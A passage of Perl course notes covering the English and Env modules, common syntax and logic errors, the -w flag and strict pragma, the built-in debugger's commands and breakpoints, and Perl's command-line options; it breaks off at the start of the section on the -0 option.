print("Pattern:        /$pattern/\n");

print("Matched String: $English::MATCH\n");  # the English variable

print("Matched String: $&\n");               # the standard Perl variable
```

This program displays:

```
Search space:   TTTT BBBABBB DDDD
Pattern:        /B+AB+/
Matched String: BBBABBB
Matched String: BBBABBB
```

You can see that the `$&` and `$MATCH` variables are equivalent. This means that you can use another programmer's functions without renaming their variables and still use the English names in your own functions.

The Env Module

If you use environment variables a lot, then you need to look at the `Env` module. It will enable you to directly access the environment variables as Perl scalar variables instead of through the `%Env` hash. For example, `$PATH` is equivalent to `$ENV{'PATH'}`.

A simple program to illustrate is given below. It opeartes as follows:

- Loads the *`Env`* module.
- Invokes the strict pragma.
- Declares the *`@files`* variable.
- Opens the temporary directory and read all of its files.
- Displays the name of the temporary directory.
- Displays the names of all files that end in `tmp`.

The Perl code is `env.pl`:

```
use Env;

use strict;

my(@files);

opendir(DIR, $main::TEMP);

    @files = readdir(DIR);

closedir(DIR);

print "$main::TEMP\n";

foreach (@files) {

    print("\t$_\n") if m/\.tmp/i;

}
```

This program displays:

```
C:\WINDOWS\TEMP

        ~Df182.TMP
```

```
~Df1B3.TMP

~Df8073.TMP

~Df8074.TMP

~WRS0003.tmp

~Df6116.TMP

~DFC2C2.TMP

~Df9145.TMP
```

This program is pretty self-explanatory, except perhaps for the manner in which the `$main::TEMP` variable is specified. The `strict` pragma requires all variables to be lexically declared or to be fully qualified. The environment variables are declared in the `Env` package, but exported into the `main` namespace. Therefore, they need to be qualified using the `main::` notation.

---

dave@cs.cf.ac.uk

Debugging Perl

This chapter is about errors: how to find them and how to fix them. No programmer I've ever known of is able to consistently create perfect programs. So don't feel bad if you also have some problems you need to solve. I've spent many hours looking for a missing closing bracket or a misspelled variable name.

There are two different types of errors: syntax errors and logic errors. *Syntax* errors are made as you type your script into an editor. For example, you might not add a closing quote or might misspell a filename. *Logic* errors are more insidious and difficult to find. For example, you might place an assignment statement inside an `if` statement block that belongs outside the block. Or you might have a loop that runs from 0 to 100 when it should run from 10 to 100. Accidentally deleting the 1 or not entering it in the first place is very easy.

Syntax errors are usually easy to fix. The section "Common Syntax Errors" discusses some common syntax errors. You'll see how to decipher some of Perl's error messages.

Logic errors can be very hard to fix. They are discussed in the section "Logic Errors." While there is no magic wand to wave over a program that will identify logic errors, there are some tools that can help-like the debugger. A *debugger* is an environment that lets you execute your program line by line. This is also called *single-stepping* through your program. You can also display or modify the value of variables. The debugger is discussed in the section "Stepping Through Your Script."

- Syntax Errors
- Common Syntax Errors
- Logic Errors
  - Using the `-w` Command-Line Option
  - Being Strict with Your Variables
  - Stepping Through Your Script
    - Displaying Information
    - Examples: Using the n Command
    - Using Breakpoints
  - Creating Command Aliases
  - Using the Debugger as an Interactive Interpreter
- Summary

Syntax Errors

Perl is generally considered an interpreted language. However, this is not truly accurate. Before being executed, your script is compiled into an internal format-just like Java's byte-codes or Pascal's p-code. While Perl is compiling your program, it also checks for syntax errors. This is why syntax errors are also called *compile-time* errors.

Fixing syntax errors is a matter of reading the error message displayed by the compiler and then trying to understand which line of code generated the message and why. The next section, "Common Syntax Errors," might help. If you are uncertain which line of code really generated the error, try commenting out the likely culprits. Then, re-execute your program and look at the error messages that are produced to see if they have changed.

---

dave@cs.cf.ac.uk

Common Syntax Errors

One very common error is to use `elseif` instead of the correct `elsif` keyword. As you program, you'll find that you consistently make certain kinds of errors. This is okay. Everyone has his or her own little quirks. Mine is that I keep using the assignment operator instead of the equality operator. Just remember what your particular blind spot is. When errors occur, check for your personal common errors first.

This section shows some common syntax errors and the error messages that are generated as a result. First, the error message are shown and then the script that generated it. After the script, we'll see why that particular message was generated.

```
Scalar found where operator expected at test.pl line 2, near "$bar"

        (Missing semicolon on previous line?)

$foo = { }    # this line is missing a semi-colon.

$bar = 5;
```

Perl sees the anonymous hash on the first line and is expecting either an operator or the semicolon to follow it. The scalar variable that it finds, `$bar`, does not fit the syntax of an expression because two variables can't be right after each other. In this case, even though the error message indicates line 2, the problem is in line 1.

```
Bare word found where operator expected at
    test.pl line 2, near "print("This"

  (Might be a runaway multi-line "" string starting on line 1)

syntax error at test.pl line 2, near "print("This is "

String found where operator expected at test.pl line 3, near

"print(""
  (Might be a runaway multi-line "" string starting on line 2)
        (Missing semicolon on previous line?)

Bare word found where operator expected at
    test.pl line 3, near "print("This"

String found where operator expected at test.pl line 3, at end of
line
        (Missing operator before ");
```

```
?)

Can't find string terminator '"' anywhere before EOF at test.pl
line 3.


print("This is a test.\n);    # this line is missing a ending
quote.

print("This is a test.\n");

print("This is a test.\n");
```

In this example, a missing end quote has generated 12 lines of error messages! You really need to look only at the last one in order to find out that the problem is a missing string terminator. While the last error message describes the problem, it does not tell you where the problem is. For that piece of information, you need to look at the first line where it tells you to look at line two. Of course, by this time you already know that if the error message says line 2, the error is probably in line 1.

```
Can't call method "a" in empty package "test" at test.pl line 1.


print(This is a test.\n);    # this line is missing a beginning quote.
```

The error being generated here is very cryptic and has little to do with the actual problem. In order to understand why the message mentions methods and packages, you need to understand the different, arcane ways you can invoke methods when programming with objects. You probably need to add a beginning quote if you ever see this error message.

This list of syntax errors could go on for quite a while, but you probably understand the basic concepts:

Errors are not always located on the line mentioned in the error message. Errors frequently have nothing to do with the error message displayed.

Logic Errors

These are the programming problems -- sometimes called bugs -- that you can stare at for hours without having a clue about why your script doesn't work. If you find yourself in this position, take a walk or eat some chocolate. In other words, take a break from staring at the computer screen. You can also find another programmer to walk through the code with you. Quite often while explaining the code to someone else, the problem becomes obvious.

Besides these two options, you can do the following:

- **Use the `-w` Command-line Option** -- This option will produce warning messages about questionable code.
- **Use the `strict` pragma** -- This pragma will force you to declare all variables before using them.
- **Use the built-in debugger**-The built-in debugger will let you single-step through your script, examining or changing variable values as needed.

Each of these options is discussed in separate sections later.

As a general rule, when debugging logic errors it helps to break complex expressions and statements into simpler ones: the simpler, the better. Use temporary variables if you need to. If you use the `++` or `-` operators inside function calls or complex expressions, don't. Move the decrement or increment operation to a separate line. After the program is debugged, you can always recombine the simple statements into complex ones.

Tip One of the most common logic problem is using the assignment operator (=) when you should use the equality operator (==). If you are creating a conditional expression, you'll almost always use the equality operator (==).

- Using the `-w` Command-Line Option
- Being Strict with Your Variables
- Stepping Through Your Script
  - Displaying Information
  - Examples: Using the n Command
  - Using Breakpoints
- Creating Command Aliases
- Using the Debugger as an Interactive Interpreter

---

dave@cs.cf.ac.uk

Using the `-w` Command-Line Option

One of the most important features to combat logic errors is the `-w` command-line option, which causes warning messages to be displayed indicating questionable Perl code. Questionable code includes identifiers that are mentioned only once, scalar variables that are used before being set, redefined subroutines, references to undefined filehandles, and filehandles opened read-only that you are attempting to write on.

For example, can you find anything wrong with the following lines of code (`debug1.pl`)?

```
$foo = { };

$bar = 5;

print("$foa\n");

print("$bar\n");
```

You probably can't see anything wrong at first glance. In fact, this program compiles and runs without complaint. However, running this program with the `-w` option (`perl -w test.pl`) results in these error messages:

```
Identifier "main::foa" used only once: possible typo at test.pl line 4.
Identifier "main::foo" used only once: possible typo at test.pl line 1.
Use of uninitialized value at test.pl line 4.
```

With these error messages, the problem becomes obvious. Either the variable name `$foo` is misspelled in the assignment statement or the variable name `$foa` was misspelled in the print statement.

Always use the `-w` command-line option

The `-w` option is so useful that you should *always* use it. If you know that a specific line of code is going to generate an error message and you want to ignore it, use the `$^W` special variable.

For example, `debug2.pl`:

```
$foo = { };

$bar = 5;

$^W = 0;

print("$foa\n");

print("$bar\n");
```

```
$^W = 1;
```

eliminates the display of the

```
Use of uninitialized value at test.pl line 4.
```

error message.

Unfortunately, this technique will not stop all messages, and the placement of the `$^W=0;` statement seems to affect whether the message will be suppressed.

Caution This feature did not seem to be too stable in my version of Perl. If you can't get it to work in your version, don't spend too much time trying to find the problem. It simply may not work properly in your version of Perl, either.

---

 dave@cs.cf.ac.uk

Being Strict with Your Variables

In the last chapterthe use of modules to implement pragmas was discussed. One very useful pragma to aid in debugging is `use strict;`. This statement does two things:

- Forces you to use the `my()` function to declare all variables. When all variables have a local scope, you avoid problems associated with unintentionally changing the value of a variable in a function.
- Ensures that you can't use accidental symbolic dereferencing. This topic was not covered in Chapter on References, because it is relatively advanced. If you use the dereferencing techniques shown in that Chapter you won't need to worry about this requirement.

When the `strict` pragma is used, your script will not compile if the preceding two rules are violated. For example, if you tried to run the following lines of code, `debug3.pl`

```
use strict;

$foo = { };

$bar = 5;

print("$foo\n");

print("$bar\n");
```

you would receive these error messages:

```
Global symbol "foo" requires explicit package name at test.pl line 3.
Global symbol "bar" requires explicit package name at test.pl line 4.
Global symbol "foo" requires explicit package name at test.pl line 6.
Global symbol "bar" requires explicit package name at test.pl line 7.
Execution of test.pl aborted due to compilation errors.
```

In order to eliminate the messages, you need to declare `$foo` and `$bar` as local variables, like this, `debug4.pl`:

```
use strict;

my($foo) = { };

my($bar) = 5;

print("$foo\n");
```

```
print("$bar\n");
```

The `my()` function makes the variables local to the `main` package.

In the next section, you see how to use the debugger to step through your programs.

---

dave@cs.cf.ac.uk

Stepping Through Your Script

So far, you've read about how to limit the possibility of errors appearing in your programs. If, after using the `-w` and the `strict` pragma, you still have a problem, it's time to use the *debugger*.

What is the debugger? Quite simply, it is an interactive environment that allows you to execute your script's statements one at a time. If necessary, you can display the lines of your script, view or alter variables, and even execute entirely new statements.

You start the debugger by using the `-d` command-line option. The following line

```
perl -w -d 08lst08.pl
```

starts the debugger and loads the script called `08lst08.pl`.

If you want to invoke the debugger with no script, you need to perform a small bit of magic, like this

```
perl -d -e "1;"
```

to start debugger without any program.

This is a bit of magic because you haven't read about all the different command-line options available for the Perl interpreter (see next Chapter)

The `-e` option tells Perl to execute a single Perl statement. In this case the statement is `1;`, which basically means do nothing. It does, however, stop the interpreter from looking for the name of a script file on the command line.

When the debugger starts, your screen will look something like this:

```
Loading DB routines from $RCSfile: perl5db.pl,v $$Revision: 4.1

$$Date: 92/08/07 18:24:07 $

Emacs support available.

Enter h for help.

main::(08lst08.pl:3):   my($codeRef);

  DB<1>
```

This message tells you that the debugger (`DB`) routines have been loaded. The `DB<1>` is a prompt that indicates that the debugger is waiting for input. The line number inside the angle brackets is the current execution line. The *current execution line* is that line that the debugger waits to execute.

One of the features of the debugger is the capability to insert breakpoints into your script. A

breakpoint is an instruction that tells the debugger to stop, to display a prompt, and to wait for input. When the debugger first starts, there are no breakpoints defined for your program. See the section "Examples: Using Breakpoints" later in the chapter for more information.

You can use any of the commands listed in below while using the debugger. While some of the commands are demonstrated in the sections that follow the table, you can't hurt anything by experimenting with any or all of the commands on your own.

The Debugger Commands That Control Actions

`a ACTION`

-- This command tells the debugger to perform `ACTION` just before the current execution line is executed. Optionally, you can specify a line number. For example, `a 10 print("$numFiles");` executes the `print` statement before line 10 is executed. If line 10 is inside a loop, the action is performed each time through the loop.

`A`

-- Deletes all actions.`L`Lists all breakpoints and actions.

`< ACTION`

-- Forces the debugger to execute `ACTION` each time the debugger prompt is displayed. This command is great if you need to print the value of certain values each time you are prompted by the debugger.

`> ACTION`

-- Forces the debugger to execute `ACTION` after every debugger command you issue.

Commands That Involve Breakpoints

`b`

-- Sets a breakpoint at the current execution line. You can specify a line where the breakpoint should be set. For example, `b 35` sets a breakpoint at line 35. You can also create a conditional breakpoint. For example, `b 35 $numLines == 0` causes the debugger to stop at line 35 only if `$numLines` is equal to zero. Watch conditions can also be attached to functions; just use the function name instead of a line number.

`d`

-- Deletes the breakpoint from the current execution line. If you specify a line number, the breakpoint is deleted from that line.

`D`

-- Deletes all breakpoints.

`L`

-- Lists all breakpoints and actions.

Commands That Display Information

`l`

-- Lets you print out parts of your script. There are several flavors of this command that you can use:

- Using a plain `l` displays about 10 lines of your script.
- Using `l 5+4` displays 4 lines of your script starting with line 5.
- Using `l 4-7` displays lines 4 through 7 of your script.

- Using `l 34` displays line 34 of your script.
- Using `l foo` displays roughly the first 10 lines of the `foo()` function.

L

-- Lists all breakpoints and actions.

p EXPR

-- Prints the result of evaluating `EXPR` to the display. It is a shorthand way of saying `print DB::OUT (EXPR)`.

S

-- Lists all function names that are defined. The list will include any function defined in modules as well as those in your script.

T

-- Prints a stack trace. A *stack trace* displays a list of function calls and the line number where the calls were made.

V

-- Lists all variables that are currently defined from all packages and modules that are loaded. A better form of this command is `V PACKAGE` or `V PACKAGE VARLIST` where `PACKAGE` is the name of a loaded package or module, and `VARLIST` is a currently defined variable in `PACKAGE`. When specifying variable names, don't use the `$`, `@`, or `%` type specifiers.

w LINE

-- Displays about 10 lines centered around `LINE`. For example, if you use `w 10`, lines 7 to 16 might display.

X

-- Lists all variables in the current package. If you have stepped into a function that is in package `foo`, the variables in package `foo` are displayed, not those in `main`. You can also specify exactly which variables to display if needed. When specifying variable names, don't use the `$`, `@`, or `%` type specifiers.

-

-- Displays about 10 lines of your script that are before the current line. For example, if the current display line is 30, this command might display lines 19 to 29.

Commands That Control Execution

s

-- Steps through the lines in your script one at a time. It steps into any user-defined function that is called. While single-stepping is slow, you see exactly how your code is being executed.

N

-- Executes the next statement in your script. Although all function calls are executed, it does not follow the execution path inside a function. This command enables you to move quicker through the execution of your script than simply using the `s` command.

R

-- Executes the rest of the statements in the current function. The debugger pauses for input on the line following the line that made the function call.

C LINE

-- Executes the rest of the statements in your script unless a breakpoint is found before the

script ends. You can optionally use this command to create a temporary break by specifying a line number after the `c`. Think of this command as continue until `LINE`.

`No Command`

-- Pressing the Enter key without specifying a command will make the debugger repeat the last `n` or `s` command that was used. This feature makes it a little easier to single-step through your script.

Commands That Work with the Debugger Command History

`!`

-- Re-executes the previous command. You can also specify the number of the previous command to execute. Use the `H` command to get a list of the previous commands. If you specify a negative number, like `! -2`, the debugger counts backwards from the last executed command.

`H`

-- Lists all the debugger commands you have issued. Only commands that cause action are saved in the command history. This means that the `l` and `T` commands are not saved. You can limit the history viewed by specifying a negative number. For example, `H -5` displays the last five commands you have issued.

Miscellaneous Commands

`f FILENAME`

-- Causes the debugger to switch to `FILENAME`. The file specified must have already been loaded via the `use` or `require` statements. Please note that some of the documentation that accompanies the Perl interpreter may indicate that `f` is the `finish` command. It used to be; however, the finish functionality is now accomplished by the `r` command.

`Q`

-- Quits the debugger. You can also use the Ctrl+D key sequence under UNIX and the Ctrl+Z key sequence under DOS and Windows.

`T`

-- Toggles trace mode on and off. *Trace* mode, when on, displays each script line as it is being executed. I don't recommend this option except for very short programs because the lines are displayed so quickly that you won't be able to read them.

`/pattern/`

-- Searches for `pattern` in the currently loaded file. If `pattern` is found, the current display line is changed to the line where `pattern` was found.

`?pattern?`

-- Searches backward for `pattern` in the currently loaded file. If `pattern` is found, the current display line is changed to the line where `pattern` was found.

`=`

-- Displays any aliases that are currently defined.

`COMMAND`

-- Any text that is not recognized as an alias or a debugger command is executed as a Perl statement.

As you can see, the debugger has quite a few commands to choose from, and it is very powerful. Most

programmers will not need all of the functionality that the debugger has. If you learn to display script lines, to use breakpoints, and to display variables, you'll be well on your way to solving any logic problem that may arise.

- Displaying Information
- Examples: Using the n Command
- Using Breakpoints

Displaying Information

The debugger uses the concept of a current display line. The *current display line* is simply the last line that has been displayed by the `l` command. When the debugger first starts, the current display line is the first executable line. Here are some examples.

```
01: package Inventory_item;

02:    sub new {

03:    }

04:

05: package Pen;

06:     @ISA = (Inventory_item);

07:

08:     sub new {

09:     }

10:

11: package Color;

12:     print("Executing Color statements\n");

13:     $colors{"blue"}  = "Die Lot 13";

14:     $colors{"red"}   = "Die Lot 5";

15:

16:     sub new {

17:     }

18:
```

```
19: package main;

20:     print("Executing main statements\n");
```

Note This listing is identical to Listing 14.5 except that the guts of the functions have been removed. This was done simply to shorten the listing.

If you load this script into the debugger (`perl -d 16lst01.pl`), you will see that the first displayed line is line 6. The lines before line 6 are `package` and `function` statements. Line 6 will also be the current execution line.

If you issue the `l` debugger command, lines 6 to 15 are displayed:

```
6:          @ISA = (Inventory_item);

7:

8:          sub new {

9:          }

10:

11:     package Color;

12:         print("Executing Color statements\n");

13:         $colors{"blue"}  = "Die Lot 13";

14:         $colors{"red"}   = "Die Lot 5";

15:
```

After this display, the current display line is changed to 15, but the current execution line is still line 6. If you issue the `l` debugger command again, lines 16 to 20 are displayed.

You can display the first line of your script by using the `l 1` debugger command. This command displays the first line of the script and changes the current display line:

```
1: package Inventory_item;
```

Because this script uses package names to change the namespace in which the functions are defined, simply issuing `l new` does not display a `new()` function. Instead, you need to use the double-colon (`::`) notation to specify which namespace to use. For example, `l Color::new` displays:

```
16:         sub new {

17:         }
```

While inside the debugger, you can use the `X` and `V` commands to view variables. These commands are very good for simple variables, but I have not found them to be useful for complex data structures.

For example, consider a small program that creates an array within an array data structure, `debug5.pl`.

```
sub prtArray {

    my(@array)      = @_;

    my($index)      = 0;

    foreach (@array) {

        if (ref($_) eq 'ARRAY') {

            my($innerIndex) = 0;

            foreach (@{$array[3]}) {

                print("\t$innerIndex\t'$_'\n");

                $innerIndex++;
            }
        }

        else {

            print("$index\t'$array[$index]'\n");
        }
        $index++;
    }
}

@array = (1, 2, 3, [1, 2, 3], 4);    # an array inside an array.

1;
```

Note This listing is for illustrative purposes only. The crude method used to print the data structure is not recommended for practical use. I suggest that you invest time creating a general-use routine that can print more than one type of complex structure. You might also look at the dumpvars module that comes with most, if not all, Perl distributions.

Load this script into the debugger (`perl -d 16lst01.pl`), use the `s` command to execute the array assignment, and then display `@array` with the `X array` command. Your display should look like this:

```
@array = (
  0     '1'
  1     '2'
  2     '3'
  3     'ARRAY(0x7c693c)'
```

```
  4       '4'
)
```

You can see that the displayed values are not as informative as you might hope for because of the array reference in element 3. However, because the `prtArray()` function is designed to print this type of data structure, call it from the debugger using the `prtArray(@array);` command. This should result in a display like this:

```
0       '1'
1       '2'
2       '3'
        0       '1'
        1       '2'
        2       '3'
4       '4'
```

The `1;` line of code is used to let you execute the array assignment without the debugger ending. Just ignore it.

---

next | up | previous | contents

Next: Examples: Using the n **Up:** Stepping Through Your Script **Previous:** Stepping Through Your Script dave@cs.cf.ac.uk

Examples: Using the n Command

The n command lets you step over function calls in your scripts. This command saves you time because you won't need to single-step through every line of every function. The program below has three functions defined and three function calls and is used to demonstrate the n command.

```
1:      sub a {

2:          print("This is function a\n");

3:      }

4:

5:      sub b {

6:          print("This is function b\n");

7:      }

8:

9:      sub c {

10:         print("This is function c\n");

11:     }

12:

13:     a();

14:     b();

15:     c();
```

First, let's see the regular path of execution that takes place using the s command:

```
13:     a();

2:          print("This is function a\n");

This is function a
```

```
14:     b();

6:          print("This is function b\n");

This is function b

15:     c();

10:         print("This is function c\n");

This is function c
```

If the `n` command is used instead of the `s` command, the path of execution stays the same. However, you are prompted after each function call. The lines inside the function are still executed, however.

```
13:     a();

This is function a

14:     b();

This is function b

15:     c();

This is function c
```

By switching between the `s` and `n` commands, you can decide which functions to step into and which to step over.

---

dave@cs.cf.ac.uk

Using Breakpoints

Breakpoints are used to tell the debugger where to stop execution of your script. After the execution is stopped, the debugger prompts you to enter a debugger command. For example, you might want to set a breakpoint on a line that assigns a complicated expression to a variable. This allows you to check any variables used in the expression before it is executed.

The following listing demonstrates the different breakpoint commands you can use.

```
1:      sub a {

2:          my($foo) = @_;

3:

4:          print("This is function a. Foo is $foo.\n");

5:      }

6:

7:      a(10);

8:      a(5);
```

When the script is first loaded into the debugger, the current execution line is 7. Using the `c` command causes the entire program to be executed. A transcript of the debugging session might look like this:

```
main::(16lst04.pl:7):   a(10);

  DB<1> c

This is function a. Foo is 10.

This is function a. Foo is 5.
```

You can force the debugger to stop each time that `a()` is invoked by using the `b a` command. This lets you examine the `@_` parameter array before the function is started.

For example:

```
main::(16lst04.pl:7):   a(10);

  DB<1> b a

  DB<2> c
```

```
main::a(16lst04.pl:2):      my($foo) = @_;

  DB<3> p @_

10

  DB<4> c

This is function a. Foo is 10.

main::a(16lst04.pl:2):      my($foo) = @_;

  DB<4> p @_

5

  DB<5> c

This is function a. Foo is 5.
```

HINT The `p` command, used in this example, is shorthand for the statement `print("@_\n");`. You can use the `p` command to print any variable.

You can also create conditional breakpoints. For example, you could tell the debugger to stop inside `a()` only if `$foo` is equal to `5` using the command `b 4 $foo == 5`. In this instance, you can't use `b a $foo == 5` because `$foo` is a local variable. When the debugger stops just before executing a function, the parameter array is initialized but not any of the local variables. A debugging session using conditional breakpoints might look like this:

```
main::(16lst04.pl:7):   a(10);

  DB<1> b 4 $foo == 5

  DB<2> L

4:          print("This is function a. Foo is $foo.\n");

  break if ($foo == 5)

  DB<2> c

This is function a. Foo is 10.

main::a(16lst04.pl:4):      print("This is function a. Foo is $foo.\n");

  DB<2> c

This is function a. Foo is 5.
```

The debugger did not stop during the first call to `a()` because `$foo` was equal to `10`. On the second call, `$foo` is set to `5` which causes the debugger to stop.

The `L` debugger command is used to display all breakpoints and their conditions. If you don't specify any conditions, a default condition of 1 is supplied. Because 1 is always true, this creates an unconditional breakpoint. If you had created an unconditional breakpoint on line 7, the `L` command would display the following:

```
4:          print("This is function a. Foo is $foo.\n");

  break if ($foo == 10)

7:      a(10);

  break if (1)
```

The `d` command is used to delete or remove breakpoints. Issuing the commands `d 4` and then `L` would result in this display:

```
7:      a(10);

  break if (1)
```

If you want to delete *all* the breakpoints at once, use the `D` command.

---

dave@cs.cf.ac.uk

Creating Command Aliases

The = command is used to create command aliases. If you find yourself issuing the same long command over and over again, you can create an alias for that command. For example, the debugger command

```
= pFoo print("foo=$foo\n");
```

creates an alias called `pFoo`.

After this command is issued, typing `pFoo` at the debugger prompt produces the same results as typing `print("foo=$foo\n");`.

You use the = command without any arguments when you want a list of the current aliases.

If you want to set up some aliases that will always be defined, create a file called `.perldb` and fill it with your alias definitions. Use the following line as a template:

```
$DB::alias{'pFoo'} = 'print("foo=$foo\n");';
```

After you create this file and its alias definitions, the aliases will be available in every debugging session.

---

dave@cs.cf.ac.uk

Using the Debugger as an Interactive Interpreter

In the Chapter on Handling Errors and Signals, you learned how to create an interactive Perl interpreter that could replace shell and batch files.

You can also use the debugger as an interactive interpreter. In fact, it does an even better job in some cases.

If you create a script with functions that perform individual system tasks, you can run that script inside the debugger. Then you can call the functions from the debugger command lines as needed. The following listing shows what one possible script might look like.

```
sub printUserReport {

    # read list of users

    # determine usage statistics

    # display report

}



sub backupUsers {

    # remove backup file.

    #'delete /user/*.bak'



    # backup user files to tape.

    #'\backup /user/*';

}



sub help {

    print("\n");
```

```
    print("backupUsers will perform the nightly backup.\n");

    print("printUserReport will display user usage statistics.\n");

    print("\n");

}


1;
```

Note This script is really nothing but a skeleton. You should be able to flesh it out with functions that are useful to you.

You load this script into the debugger with the command `perl -d 16lst05.pl`. After the script loads, you can run any of the functions by typing their name at the debugger prompt. Here is a sample debugger session:

```
main::(16lst05.pl:22):  1;

  DB<1> help

backupUsers will perform the nightly backup

printUserReport will display user usage statistics.


  DB<2> backupUsers

  DB<3> q
```

---

dave@cs.cf.ac.uk

Summary

There is a certain art to debugging that only experience can teach. There are so many different places where things can go wrong that it's impossible to remember which bug is most likely to appear in a given scenario. If you have lived through the frustration of tracking a bug for hours only to have someone look at your program for three minutes and say, "Look, that minus sign should be a multiplication sign!" you are much more likely to find the bug the next time. There is no substitute for real-life debugging.

Let's recap what you *did* learn in this chapter. You started out by reading about syntax or compile-time errors. This class of error involved a misplaced parenthesis, a missing quote, or some other slip of the fingers while entering your program into an editor. Syntax errors are found when Perl compiles your program into an internal format prior to actually executing it. The only way to track down a syntax error is to read the error messages and look at your program.

Logic errors, on the other hand, can be harder to find. They involve some logical flaw in your program. Using the index into an array or specifying the wrong variable as a parameter to a function both qualify as logic errors.

The first step to combating logic errors is to use the `-w` command-line option. The `-w` command tells Perl to display warning messages for various dangerous coding practices.

The next step is to use the `strict` pragma in your programs. This requires that you declare every variable you use. Creating only local variables minimizes the possibility of inadvertently changing the wrong variable or causing side effects in your program.

If you still have logic errors after these two options have been used, you might use the debugger. The debugger lets you single-step through your program and print or modify variables. You can also set breakpoints or actions, and you can interactively call any function directly from the debugger command line.

---

dave@cs.cf.ac.uk

Perl Command-Line Options

Perl has a wide range of command-line options or switches that you can use. The options are also called *switches* because they can turn on or turn off different behaviors. A thorough knowledge of the command line switches will enable you to create short one-time programs to perform odd little tasks. For example, the `-e` option lets you specify a line of code directly on the command line instead of creating a script file. You use the `-l` option to change the line endings in a text file.

- How Are the Options Specified?
- The Command-line Options
- Example uses of command-line options
  - Using the `-0` Option
  - Using the `-n` and `-p` Options
  - Using the `-i` Option
  - Using the `-s` Option
- Summary

---

dave@cs.cf.ac.uk

How Are the Options Specified?

The most frequent way to specify command-line options is on the command line. All of Perl's options are specified using a dash and then a single character followed by arguments, if needed. For example,

```
perl -I/usr/~dave/include script.pl
```

You can combine options with no arguments with the following switch. The following two command lines are equivalent.

```
perl -cI/usr/~dave/include script.pl
perl -c -I/usr/~dave/include script.pl
```

You can also specify command-line options inside your script file using the #! line. Just place them following the directory or executable name. If you are working on a UNIX system, you are probably familiar with using the #! notation to tell the system where to find the Perl executable. The various UNIX systems and Windows can interpret the #! line in different ways. Therefore, Perl starts parsing the #! switches immediately after the first instance of `perl` on the line. For example, if you started your script with this line:

```
#!/bin/perl -w
```

Then Perl will run with the `-w` option in effect.

Note Some UNIX systems will only read the first 32 characters of the #! line. So try to have your options end before the 32nd position if you require them the be called.

---

 dave@cs.cf.ac.uk

The Command-line Options

Below we provide a short description of each command-line option used with Perl.

`-0`

-- Lets you specify the record separator (`$/`) as an octal number. For example, -0055 will cause records to end on a dash. If no number is specified, records will end on null characters. The special value of 00 will place Perl into paragraph mode. And 0777 will force Perl to read the whole file in one shot because 0777 is not a legal character value.

`-a`

-- This option *must* be used in conjunction with either the `-n` or `-p` option. Using the `-a` option will automatically feed input lines to the `split` function. The results of the split are placed into the `@F` variable.

`-c`

-- This option lets you check the syntax of your script without fully executing it. The `BEGIN` blocks and `use` statements are still executed because they are needed by the compilation process.

`-d`

-- This option lets you start the Perl debugger. See the Chapteron Debugging Perl for more information.

`-D`

-- This option lets you turn on different behaviors related to the debugging process. The following table shows you the sub-options that can be used. Please note, however, that not all releases of Perl can use this feature. For example, the hip port of Perl for Win32 can't. If your version of Perl does not have this option, you will see the message `Recompile perl with -DDEBUGGING to use -D switch` when you try it. If you want to watch your script as it executes, use -D14. Following is a list of the other values that you can use. You can add the numbers together to specify more than one behavior (such as 8+4+2 = 14) or you can use the letters.

1	p	Tokenizing and Parsing
2	s	Stack Snapshots
4	l	Label Stack Processing
8	t	Trace Execution
16	o	Operator Node Construction
32	c	String/Numeric Conversions
64	P	Print Preprocessor Command for -P

128	m	Memory Allocation
256	f	Format Processing
512	r	Regular Expression Parsing
1024	x	Syntax Tree Dump
2048	u	Tainting Checks
4096	L	Memory Leaks (not supported any more)
8192	H	Hash Dump - usurps values()
16384	X	Scratchpad Allocation
32768	D	Cleaning Up

-e

-- The option lets you specify a single line of code on the command line. This line of code will be executed in lieu of a script file. You can use multiple `-e` options to create a multiple line program-although given the probability of a typing mistake, I'd create a script file instead. Semi-colons must be used to end Perl statements just like a normal script.

-F

-- This option modifies the behavior of the `-a` option. It lets you change the regular expression that is used to split the input lines. For example, `-F /:+/` will split the input line whenever one or more colons are found. The slashes are optional; they simply delimit the pattern if they are there. I use them for their aesthetic value.

-I

-- This option lets you edit files in-place. It is used in conjunction with the `-n` or `-p` option. See "Example: Using the `-i` option" for more information.

-I

-- This option is used in conjunction with the `-P` option. It tells the C preprocessor where to look for include files. The default search directories include `/usr/include` and `/usr/lib/Perl`.

-l

-- This option turns on line-ending processing. It can be used to set the output line terminator variable (`$/`) by specifying an octal value. See "Example: Using the `-0` option" for an example of using octal numbers. If no octal number is specified, the output line terminator is set equal to the input line terminator (such as

```
$\ = $/;).
```

-n

-- This option places a loop around your script. It will automatically read a line from the diamond operator and then execute the script. It is most often used with the `-e` option.

-p

-- This option places a loop around your script. It will automatically read a line from the diamond operator, execute the script, and then print $_. It is most often used with the `-e` option.

-P

-- This option will invoke the C preprocessor before compiling your script. This might be useful if you have some C programming experience and would like to use the #include and #define facility. The C preprocessor can also be used for conditional compilation. Use the `-I` option to tell Perl where to find include files.

-s

-- This option lets you define custom switches for your script. See "Examples: Using the `-s` Option" for more information.

-S

-- This option makes Perl search for the script file using the PATH environment variable. It's mostly used with UNIX systems that don't support the #! Line. The `docs/perlrun.htm` documentation file that comes with your Perl distribution has more information about this option.

-T

-- This UNIX-based option turns on taint checking. Normally, these checks are only done when running `setuid` or `setgid`. The `docs/perlsec.htm` documentation file that comes with your Perl distribution has more information about this option. `-u`This UNIX-based option will cause Perl to dump core after compiling your script. See the Perl documentation that came with your Perl distribution for more information.

-U

-- This UNIX-based option will let Perl do unsafe operations. Its use is beyond the scope of this book.

-v

-- This option will display the version and patchlevel of your Perl executable. `-w` This option prints warnings about unsafe programming practices. See Chapter on Debugging Perl for more information.

-x

-- This option will let you extract a Perl script from the middle of a file. This feature comes in handy when someone has sent you a script via e-mail. Perl will scan the input file looking for a #! line that contains the word `perl`. When it is found, it will execute the script until the `__END__` token is found. If a directory name is specified after the `-x` option, Perl will switch to that directory before executing the script.

As you can see, Perl has quite a few command-line options. Most of them are designed so that you can do useful things without needing to create a text file to hold the script. If you are a system administrator then these options will make you more productive. You'll be able to manipulate files and data quickly and accurately. If you're looking to create applications or more complicated programs, you won't need these options-except for `-w` and `-d`.

The rest of the chapter is devoted to demonstrating the `-0`, `-n`, `-p`, `-i`, and `-s` options.

Example uses of command-line options

- Using the `-0` Option
- Using the `-n` and `-p` Options
- Using the `-i` Option
- Using the `-s` Option

---

dave@cs.cf.ac.uk

Using the `-0` Option

